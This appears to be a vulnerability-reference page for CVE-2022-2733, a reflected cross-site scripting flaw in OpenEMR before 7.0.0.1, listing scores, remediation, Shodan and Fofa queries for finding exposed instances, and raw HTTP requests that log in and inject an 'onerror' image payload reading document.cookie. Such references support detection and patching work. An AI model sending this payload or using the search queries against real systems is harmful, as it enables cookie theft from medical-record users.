🔙 목록으로 돌아가기

CVE-2022-2733: Openemr < 7.0.0.1 - Cross-Site Scripting

TitleOpenemr < 7.0.0.1 - Cross-Site Scripting
Authorctflearner
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade Openemr to version 7.0.0.1 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.89261
CVE IDCVE-2022-2733
CWE IDCWE-79
Shodan Querytitle:"OpenEMR"http.html:"openemr"http.title:"openemr"http.favicon.hash:1971268439
Fofa Queryicon_hash=1971268439body="openemr"title="openemr"app="openemr"
Tags cve cve2022 xss openemr authenticated huntr open-emr vuln

🔍 Vulnerability Description

Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.0.1.

🌐 HTTP Request

POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Origin: /
Referer: //interface/login/login.php?site=default
Accept-Encoding: gzip

new_login_session_management=1&languageChoice=1&authUser=5tUUFa&clearPass=vZKW6a&languageChoice=1
GET /interface/forms/fee_sheet/review/fee_sheet_options_ajax.php?pricelevel=%3Cimg%20src=a%20onerror=alert(document.cookie)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2733.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-2733.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A